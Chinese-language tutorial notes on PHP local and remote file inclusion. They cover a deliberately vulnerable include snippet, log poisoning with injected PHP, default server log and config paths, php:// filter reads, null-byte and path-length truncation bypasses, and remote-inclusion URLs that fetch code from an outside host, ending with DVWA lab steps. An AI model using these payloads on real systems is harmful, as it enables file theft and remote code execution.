原理
假设某一网站代码
<?php
$file = $_GET["file"];
if($file)
{
include($file);
}
?>
假设我们给这个file参数传一个../1.php(如果存在这个文件的话),那么我们就能读出这个文件
文件包含的最大特点就是把服务器上的文件包含到当前的页面当中
漏洞利用
文件上传配合文件包含
日志文件包含
需要知道日志文件的位置
通过URL中插入执行代码,将其记录进日志文件,如提交include_xx.php?<?php phpinfo();?>.php
时,会被记录如错误日志,这时候访问log的地址,将错误日志包含进当前页面,就可以看见phpinfo()已经执行,同理,也可把这个换成木马
注:url中的代码可能会因为转义而失效,可以在bp中抓包改回来
(1) apache+Linux 日志默认路径
/etc/httpd/logs/access_log
或者
/var/log/httpd/access_log
(2) apache+win2003 日志默认路径
D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log
(3) IIS6.0+win2003 默认日志文件
C:\WINDOWS\system32\Logfiles
(4) IIS7.0+win2003 默认日志文件
%SystemDrive%\inetpub\logs\LogFiles
(5) nginx 日志文件
日志文件在用户安装目录 logs 目录下
以我的安装路径为例/usr/local/nginx,
那我的日志目录就是在/usr/local/nginx/logs里
web 中间件默认配置
(1) apache+linux 默认配置文件
/etc/httpd/conf/httpd.conf
或者
index.php?page=/etc/init.d/httpd
(2) IIS6.0+win2003 配置文件
C:/Windows/system32/inetsrv/metabase.xml
(3) IIS7.0+WIN 配置文件
C:\Windows\System32\inetsrv\config\applicationHost.config
敏感文件包含
利用漏洞,直接读取操作系统中的敏感文件
临时文件包含
通过session之类的的文件,包含后查看有无可以控制的变量,通过控制这些变量值来将恶意代码写入session文件
PHP封装协议包含
File:// 访问本地文件系统
http:// 访问 HTTPs 网址
ftp:// 访问 ftp URL
Php:// 访问输入输出流
Zlib:// 压缩流
Data:// 数据
Ssh2:// security shell2
Expect:// 处理交互式的流
Glob:// 查找匹配的文件路径
如?page=file:///C:/xxx.txt
?filename=php://filter/convert.base64-encode/resource=xxx.php ?
对本地磁盘进行读写
绕过
如果目标有验证防护措施但是不严密,可以考虑利用一些手法绕过
绕过文件后缀名
%00截断,或者unix中可以使用url编码的换行符%0a
通过目录长度限制截断
目录长度的限制会让系统设定固定的后缀名,windows为256位截断,linux可能需要4096,构造一个足够长的、尾巴满足系统过滤要求的文件名,又利用截断把最后无用的后缀给截取掉,那剩下的就是我们想要的了
例如
http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
同理,windows下还可以用.进行截断,要超过256位
远程文件包含
?page=http//www.shangxizhuan.site/xx/xxx.php
如果碰到加后缀名进行限制这种方式,可以考虑使用问号、#、空格来进行绕过?filename=http://www.shangxizhuan.site/xx.txt?
一篇关于文件包含的博客
dvwa
- 直接包含
- 过滤掉了../,用绝对路径
- 直接访问无法访问,用file协议
?page=file:///C:/phpstudy_pro/www/hackable/flags/1.php